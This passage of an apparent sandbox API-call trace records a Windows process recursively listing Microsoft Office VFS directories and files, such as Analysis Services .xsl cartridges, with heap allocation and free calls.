ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0234.708] GetProcessHeap () returned 0xc10000 [0234.708] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0234.718] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.718] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0234.718] GetProcessHeap () returned 0xc10000 [0234.718] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0234.720] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.720] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0234.721] GetProcessHeap () returned 0xc10000 [0234.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.721] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.721] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0234.721] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0234.721] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0234.722] GetProcessHeap () returned 0xc10000 [0234.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0234.722] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0234.722] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0234.722] GetProcessHeap () returned 0xc10000 [0234.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0234.722] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0234.722] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0234.722] GetProcessHeap () returned 0xc10000 [0234.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0234.724] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0 [0234.724] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0234.724] GetProcessHeap () returned 0xc10000 [0234.724] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0234.724] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1 [0234.724] GetProcessHeap () returned 0xc10000 [0234.724] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0234.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0234.981] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.981] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0234.981] GetProcessHeap () returned 0xc10000 [0234.981] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0234.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0234.983] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.983] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0234.983] GetProcessHeap () returned 0xc10000 [0234.983] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0234.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0234.985] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.985] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0234.985] GetProcessHeap () returned 0xc10000 [0234.985] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0234.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0234.987] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b0d4700, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.987] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0234.987] GetProcessHeap () returned 0xc10000 [0234.987] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0234.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0234.989] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.989] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hive.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b015b1d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2afef8f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0882a6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0882a6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0882a6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0234.990] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0234.991] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, 